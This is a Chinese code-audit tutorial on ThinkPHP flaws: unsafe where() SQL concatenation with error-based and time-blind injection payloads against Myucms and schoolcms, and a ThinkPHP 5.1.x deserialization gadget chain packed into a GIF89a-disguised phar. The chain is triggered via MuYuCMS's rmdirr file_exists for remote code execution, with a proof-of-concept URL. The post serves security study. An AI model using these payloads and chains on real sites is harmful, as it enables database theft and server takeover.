ThinkPHP审计(1) 不安全的SQL注入PHP反序列化链子phar利用简单的CMS审计实例
ThinkPHP代码审计(1) 不安全的SQL注入&PHP反序列化链子phar利用&简单的CMS审计实例
文章目录
- ThinkPHP代码审计(1) 不安全的SQL注入&PHP反序列化链子phar利用&简单的CMS审计实例
- 一.Thinkphp5不安全的SQL写法
- 二.Thinkphp3 SQL注入
- 三.Thinkphp链5.1.x结合phar实现RCE
- 1.自动生成
- 2.手动构造
- 实例分析
一.Thinkphp5不安全的SQL写法
Thinkphp官方提供了SQL接口,已经为SQL语句进行了预编译
但是不安全的写法,仍然可以造成SQL注入
https://www.kancloud.cn/manual/thinkphp5/135176
//官方写法public function login(Request $request){ //index.php/admin/login/login1/id/1) and updatexml(1,concat(0x7e,user(),0x7e),1)%23 $id=$request->param('id'); $data=Db::table('cw_admin')->where('id',$id)->find();//以数组形式传递 return $data['user'].'|'.$data['pass'];}
这里的SQL语句,相等于直接进行SQL语句拼接
//不安全写法public function login1(Request $request){ //index.php/admin/login/login1/id/1) and updatexml(1,concat(0x7e,user(),0x7e),1)%23 $id=$request->param('id'); $data=Db::table('cw_admin')->where("id = $id")->find();//直接进行赋值 return $data['user'].'|'.$data['pass'];}
比如Myucms 2021版 中 前台SQL 注入
可以判断是基于Thinkphp 5.0.24二开的
我们暂时忽略后台SQL,没有实战意义
可以发现在application/bbs/controller/User.php
前台bbs可能存在 SQL注入
public function xiaoxidel($ids){if (!session('userid') || !session('username')) {$this->error('亲!请登录',url('bbs/login/index'));} else {if ($ids==0) {$id = input('id');$data['open'] = 1;if (Db::name('xiaoxi')->where("id = {$id}")->where('userid', session('userid'))->update($data)) {return json(array('code' => 200, 'msg' => '标记已读成功'));} else {return json(array('code' => 0, 'msg' => '标记已读失败'));}}elseif ($ids==1){$id = input('id');if (Db::name('xiaoxi')->where("id = {$id}")->where('userid', session('userid'))->delete($id)) {return json(array('code' => 200, 'msg' => '彻底删除成功'));} else {return json(array('code' => 0, 'msg' => '彻底删除失败'));}}}}
在功能点处
xiaoxidel
为了触发 SQL语句1.保证登录用户登录状态session
2.ids=0
3.id=payload
可以访问路由/index.php/bbs/User/xiaoxidel
判断功能点存在
/index.php/bbs/User/xiaoxidel/ids/0/id/1 and updatexml(1,concat("~",user(),"~"),1)
可以判断确实存在SQL注入
也可以黑盒测试一下 也存在SQL注入
二.Thinkphp3 SQL注入
原理分析:https://www.freebuf.com/articles/web/345544.html
schoolcms也是基于MVC-thinkphp框架实现二开
https://github.com/gongfuxiang/schoolcms
基于 Thinkphp 3.2
顺便访问一下网站
注意路由访问方式index.php?m=Home&c=Article&a=Index&id=1
Application/Admin/Controller/ArticleController.class.php
SaveInfo功能
这里直接拼接可控变量到查询语句中
判断功能点存在 index.php?m=Admin&c=Article&a=SaveInfo
测试了一下爆错,没有数据回显
测下 时间盲注index.php?m=Admin&c=Article&a=SaveInfo&id[where]=id=1 and sleep(3) %23
可以判断存在SQL时间盲注
三.Thinkphp链5.1.x结合phar实现RCE
thinkphp 5.0.x思路类似
渗透实战中,往往使用phpggc实现快速利用
结合已知的phpggc小工具利用链+文件上传功能phar文件
常见触发 phar 关键函数 (和文件流相关操作有关) 实现隐式反序列化
原理:
Phar文件结构
phar文件是php里类似于JAR的一种打包文件本质上是一种压缩文件,在PHP 5.3 或更高版本中默认开启,一个phar文件一个分为四部分1.a stub
可以理解为一个标志,格式为xxx<?php xxx; __HALT_COMPILER();?>,前面内容不限,但必须以__HALT_COMPILER();来结尾,否则phar扩展将无法识别这个文件为phar文件
2.a manifest describing the contents
phar文件本质上是一种压缩文件,其中每个被压缩文件的权限、属性等信息都放在这部分。这部分还会以序列化的形式存储用户自定义的meta-data,这是上述攻击手法最核心的地方
3.the file contents
被压缩文件的内容
4.[optional] a signature for verifying Phar integrity (phar file format only)
签名,放在文件末尾
当通过phar伪协议访问 phar文件时会自动反序列化 属性
等价于实现了 unserialize(phar的属性)
常用
file_exists(),is_dir(),fopen(),file_get_contents(),file()等文件操作的函数
1.自动生成
./phpggc -s ThinkPHP/RCE1 system calc -pj Cat03.jpg -o cat.jpg
现在只要有上传点+phar就可以实现RCE了
2.手动构造
结合gadgets.php
<?php
namespace think\process\pipes {class Windows{private $files;public function __construct($files){$this->files = array($files);}}
}namespace think\model\concern {trait Conversion{protected $append = array("smi1e" => "1");}trait Attribute{private $data;private $withAttr = array("smi1e" => "system");public function get($system){$this->data = array("smi1e" => "$system");}}
}
namespace think {abstract class Model{use model\concern\Attribute;use model\concern\Conversion;}
}namespace think\model{use think\Model;class Pivot extends Model{public function __construct($system){$this->get($system);}}
}
在chain.php中
<?phpnamespace GadgetChain\ThinkPHP;class RCE1 extends \PHPGGC\GadgetChain\RCE\FunctionCall
{public static $version = '5.1.x-5.2.x';public static $vector = '__destruct';public static $author = 'Smi1e';public static $information = 'This chain can only execute system().Because the second parameter is uncontrollable';public function generate(array $parameters){$function = $parameters['function'];$parameter = $parameters['parameter'];$Conver = new \think\model\Pivot($parameter);return new \think\process\pipes\Windows($Conver);}
}
定义namespace命名空间
return回来的数据就是序列化的数据
<?php
namespace think\process\pipes {class Windows{private $files;public function __construct($files){$this->files = array($files);}}
}namespace think\model\concern {trait Conversion{protected $append = array("smi1e" => "1");}trait Attribute{private $data;private $withAttr = array("smi1e" => "system");public function get(){$this->data = array("smi1e" => "calc");}}
}
namespace think {abstract class Model{use model\concern\Attribute;use model\concern\Conversion;}
}namespace think\model{use think\Model;class Pivot extends Model{public function __construct(){$this->get();}}
}namespace {$conver = new think\model\Pivot();$a = new think\process\pipes\Windows($conver);$phar = new Phar('x.phar');$phar -> stopBuffering();$phar -> setStub('GIF89a'.'<?php __HALT_COMPILER();?>');$phar -> addFromString('test.txt','test');$phar -> setMetadata($a);$phar -> stopBuffering();
}
?>
phar签名添加GIF89a绕过图片类型检测
实例分析
以MuyuCMS木鱼cms审计为例子
存在后台图片上传+phar实getshell的效果
https://github.com/MuYuCMS/MuYuCMS
先查看index.php 判断应用入口
判断内置thinkphp版本 5.1.41 可以拿通用的5.1.X反序列化链打
可以全局搜索一些关键函数
file_exists(),fopen(),file_get_contents(),file()等文件操作的函数
比如在application/admin/controller/Update.php
存在判断file_exists
public function rmdirr($dirname){// Sanity checkif (!file_exists($dirname)) {return false;}// Simple delete for a fileif (is_file($dirname) || is_link($dirname)) {return unlink($dirname);}// Loop through the folder$dir = dir($dirname);while (false !== $entry = $dir->read()) {// Skip pointersif ($entry == '.' || $entry == '..') {continue;}if($entry == 'mdata'){continue;}// Recurse$this->rmdirr($dirname . DIRECTORY_SEPARATOR . $entry);}// Clean up$dir->close();return rmdir($dirname);}
- 目标函数名是 rmdirr
- 没有判断需要绕过
- 可控dirname的值
application/admin/controller/Update.php
对应的路由host/admin.php/update/rmdir.html?dirname=phar://
可以在内容上传处存在 尝试上传 phpgcc一把梭的文件
发现对 文件头做了过滤,但是我们可以手工生成一下phar链
弹出一个计算器就算成功
<?php
namespace think\process\pipes {class Windows{private $files;public function __construct($files){$this->files = array($files);}}
}namespace think\model\concern {trait Conversion{protected $append = array("smi1e" => "1");}trait Attribute{private $data;private $withAttr = array("smi1e" => "system");public function get(){$this->data = array("smi1e" => "calc");}}
}
namespace think {abstract class Model{use model\concern\Attribute;use model\concern\Conversion;}
}namespace think\model{use think\Model;class Pivot extends Model{public function __construct(){$this->get();}}
}namespace {$conver = new think\model\Pivot();$a = new think\process\pipes\Windows($conver);$phar = new Phar('x.phar');$phar -> stopBuffering();$phar -> setStub('GIF89a'.'<?php __HALT_COMPILER();?>');$phar -> addFromString('test.txt','test');$phar -> setMetadata($a);$phar -> stopBuffering();
}
?>
修改phar后缀为jpg文件后缀
可以成功上传phar文件
/public/upload/images/660fcf186ab58.jpg
POC
http://127.0.0.13//admin.php/update/rmdirr?dirname=phar://.//public/upload/images/660fcf186ab58.jpg
可以实现攻击
下篇文章结合thinkphp5.x的原理实现做几道最近的CTF题
相关文章:

ThinkPHP审计(1) 不安全的SQL注入PHP反序列化链子phar利用简单的CMS审计实例
ThinkPHP代码审计(1) 不安全的SQL注入&PHP反序列化链子phar利用&简单的CMS审计实例 文章目录 ThinkPHP代码审计(1) 不安全的SQL注入&PHP反序列化链子phar利用&简单的CMS审计实例一.Thinkphp5不安全的SQL写法二.Thinkphp3 SQL注入三.Thinkphp链5.1.x结合phar实现…...

Centos中一些有趣的命令
目录 1.sl 小火车 2. cowsay 会说话的牛 3.toilet/figlet 图形化输出 4.aafire 小火焰 5.linux_logo 显示系统logo 1.sl 小火车 yum install sl 2. cowsay 会说话的牛 yum install cowsay 3.toilet/figlet 图形化输出 yum install toilet yum install figlet 4.aafire 小火…...

elementUI2
ElementUI 图片引用查询表单表格展示新增修改详情图表 图片引用 <img :src"logo" width"100%" height"100%"/>import logoImg from /assets/logo/home.pngdata() {return {logo: logoImg,}}查询表单 <el-form :model"queryParams…...

Python 爬虫基础——http请求和http响应
写本篇文章,我认为是能把自己所理解的内容分享出来,说不定就有和我一样有这样思维的共同者,希望本篇文章能帮助大家!✨✨ 文章目录 一、 🌈python介绍和分析二、 🌈http请求三、 🌈http响应四、…...

【Hadoop】Hive导入导出数据指南
穿新衣吧 剪新发型呀 轻松一下Windows98 打扮漂亮 18岁是天堂 我们的生活甜得像糖 穿新衣吧 剪新发型呀 轻松一下Windows98 以后的路不再会有痛苦 我们的未来该有多酷 🎵 房东的猫《new boy》 Apache Hive 是一个基于Hadoop的数据仓库工具&…...

Mybatis 执行批量插入
首先,创建一个简单的 insert 语句: <insert id”insertname”>insert into names (name) values (#{value}) </insert>然后在 java 代码中像下面这样执行批处理插入: list < string > names new arraylist(); names.add(“fred”); names.add(“barney”)…...

vivado 使用基本触发器模式
使用基本触发器模式 基本触发器模式用于描述触发条件 , 即由参与其中的调试探针比较器组成的全局布尔公式。当“触发器模式 (Trigger Mode) ”设置为 BASIC_ONLY 或 BASIC_OR_TRIG_IN 时 , 即启用基本触发器模式。使用“基本触发器设置 (Basic Trig…...

Chrome 浏览器无法保存或自动填充密码
Chrome 浏览器无法保存或自动填充密码 分类 平时使用 Chrome 浏览器都会对网站的用户名密码自动填充,今天发现突然不行了,找到一个解决办法: 1、退出 Chrome 浏览器。2、打开 Chrome 安装目录下的的 Profile 目录,删除 Login Da…...

C语言面试指针辨析
1. const int *p int const *p p可以改变,*p不可以改变 p可以指向任意空间,但无法利用p修改指针空间的值 2. int *const p p不能改变,*p可以改变 3. const int *const p int const *const p p和*p都不能改变 4. 面试问题 将内存地址为0x2…...

YOLOV5 分类:利用yolov5进行图像分类
1、前言 之前介绍了yolov5的目标检测示例,这次将介绍yolov5的分类展示 目标检测:YOLOv5 项目:训练代码和参数详细介绍(train)_yolov5训练代码的详解-CSDN博客 yolov5和其他网络的性能对比 yolov5分类的代码部分在这 2、数据集准备 yolov5分类的数据集就是常规的摆放方式…...

Golang | Leetcode Golang题解之第16题最接近的三数之和
题目: 题解: func threeSumClosest(nums []int, target int) int {sort.Ints(nums)var (n len(nums)best math.MaxInt32)// 根据差值的绝对值来更新答案update : func(cur int) {if abs(cur - target) < abs(best - target) {best cur}}// 枚举 a…...

React添加到现有项目
1.检查现有项目的根目录下是否有package.json文件 如果没有,则在项目的根目录下初始化一个package.json配置文件 2.在根目录下安装react和react-dom依赖 npm install --save react react-dom react-scripts安装成功后,react、react-dom以及react-scr…...

java 邮件发送表格
邮件发送表格 问题导入效果图 实现方案1. 拼接HTML文件(不推荐)2. excel 转HTML使用工具类来转化依赖工具类代码示例 使用已工具包 如 aspose-cells依赖代码示例 3.使用模板生成流程准备模板工具类代码示例 问题导入 在一些定时任务中,经常会…...

鸿蒙ArkTS小短剧开源项目进行中
鸿蒙小短剧开源项目进行中 短剧项目名称:CCShort-TV 短剧项目名称:CCShort-TV 使用ArtTS语言,API9以上,HarmonyOS系统的短剧开源代码,使用GSYVideoPlayer作为核心播放器的小短剧。主要以ArkTS,ArkUI编写为…...

Go 项目依赖注入wire工具最佳实践介绍与使用
文章目录 一、引入二、控制反转与依赖注入三、为什么需要依赖注入工具3.1 示例3.2 依赖注入写法与非依赖注入写法 四、wire 工具介绍与安装4.1 wire 基本介绍4.2 安装 五、Wire 的基本使用5.1 前置代码准备5.2 使用 Wire 工具生成代码 六、Wire 核心技术5.1 抽象语法树分析5.2 …...

地推网推拉新致富是真的吗?靠谱平台揭秘
在互联网时代,各种平台层出不穷。为了吸引更多用户,这些平台常常会推出各种地推网推拉新活动。如果你懂得如何利用,那么你也有机会从中获得一笔不小的收入。 当然,在地推网推拉新赚钱的过程中,也需要注意一些问题。首…...

VTK使用交互器来从三维体数据中提取二维切片
VTK中鼠标消息是在交互类型对象(interactorstyle)中响应,因此通过为交互类型对象(interactorstyle)添加观察者(observer)来监听相应的消息,当消息触发时,由命令模式执行相…...

NCBI 数据下载
网上介绍的那几种直接下载NCBI数据的方法大都下载速度很慢,但是EBI (European Bioinformatics Institute) 下载很快,而且它的数据库和NCBI是共享的,所以我们可以直接从 EBI 下载。 1 、 确定要下载的 SRA 编号; 2 、 EBI (https…...

【Rust】基础语法
变量,基本类型,函数,注释和控制流,这些几乎是每种编程语言都具有的编程概念。 这些基础概念将存在于每个 Rust 程序中,及早学习它们将使你以最快的速度学习 Rust 的使用。 变量 首先必须说明,Rust 是强类…...

JVM基础:类的生命周期详解
JDK版本:jdk8 IDEA版本:IntelliJ IDEA 2022.1.3 文章目录 一. 生命周期概述二. 加载阶段(Loading)2.1 加载步骤2.2 查看内存中的对象 三. 连接阶段(Linking)3.1 连接之验证3.2 连接之准备3.3 连接阶段之解析 四. 初始化阶段(Initialization)4.1 单个类的…...

【Canvas技法】在Canvas按圆周绘制图形或是标注文字时,角度累加的方向为顺时针,起点为x轴正向
【图解说明】 【核心代码】 // 画圆弧及方向for(var i0;i<4;i){var startMath.PI/2*i;var endstartMath.PI/2;var x1180*Math.cos(start);var y1180*Math.sin(start);var x2180*Math.cos(end);var y2180*Math.sin(end);ctx.beginPath();ctx.arc(0,0,180,start,end,false);ct…...

计算机网络-TCP断开连接阶段错误应对机制
连接断开阶段 四次挥手机制:TCP连接的断开需要四次挥手,这是因为双方都需要独立地关闭数据传输。第二次和第三次挥手不能合并,因为在回复第二次挥手的时候,可能还有数据没有接收完成,所以需要先回复ACK报文,…...

springboot动态使用DruidDataSource切换数据源(动态配置多个数据源)
1、添加依赖,在pom文件中添加 <dependency><groupId>com.baomidou</groupId><artifactId>dynamic-datasource-spring-boot-starter</artifactId><version>2.5.0</version></dependency><dependency><grou…...

P8786 [蓝桥杯 2022 省 B] 李白打酒加强版
【dfs题解】---只有50分 (头一回自己用dfs做出来了dp的hard等级的大题,从来没有拿50分这么高兴过哈哈哈哈哈) #include <bits/stdc.h> using namespace std; int n,m; long long ans0; const long long mol1e97; void dfs(int h,int d,int sum) {if(h<0|…...

没有网没有移动存储的情况下两台电脑如何互相传输数据
无网无移动存储情况下两台电脑数据互传探秘 一、直连网线传输数据二、局域网文件共享其他 在信息化时代的今天,电脑作为重要的数据处理工具,在日常生活和工作中扮演着不可或缺的角色。然而,有时我们会遇到一些特殊情况,如没有网络…...

如何用putty通过ssh连接ubuntu
1. 下载和安装PuTTY 访问PuTTY官网下载PuTTY的最新版本。 2. 打开PuTTY 解压下载的文件后,找到PuTTY文件并双击打开。 3. 配置SSH连接 在ubuntu下安装ssh服务在安装ssh时,我一直遇到一个问题,原因是我的虚拟机连不上网,反复实…...

java如何实现rabbitmq的消息确认机制和消息持久化机制配置和示例
在Java中,使用RabbitMQ的客户端库(通常是AMQP客户端库,如RabbitMQ的Java客户端)可以方便地实现消息确认机制和消息持久化机制。以下是如何实现这两个机制的示例。 1、消息确认机制 RabbitMQ支持两种类型的确认:生产者…...

react 组件:Suspense
允许在子组件完成加载前展示后备方案。 children:真正的 UI 渲染内容。如果 children 在渲染中被挂起,Suspense 边界将会渲染 fallback。 fallback:真正的 UI 未渲染完成时代替其渲染的备用 UI,它可以是任何有效的 React 节点。后…...

2024-4-5修改vscode的代理
今天在vs code 上面配置go环境的时候出现了以下的报错: 2024-04-05 16:18:00.786 [info] Installing golang.org/x/tools/goplslatest FAILED 2024-04-05 16:18:00.786 [info] { “code”: 1, “killed”: false, “signal”: null, “cmd”: “E:\Go\bin\go.exe in…...

python字符切片的规则
跟range一样有三个参数,分别是x:y:z,代表的含义分别为左边界,右边界(注意该范围是左闭右开的,也就是说取不到右值)和步长。 1. 切片是从左往右还是从右往左,看的是步长的正负,如果步…...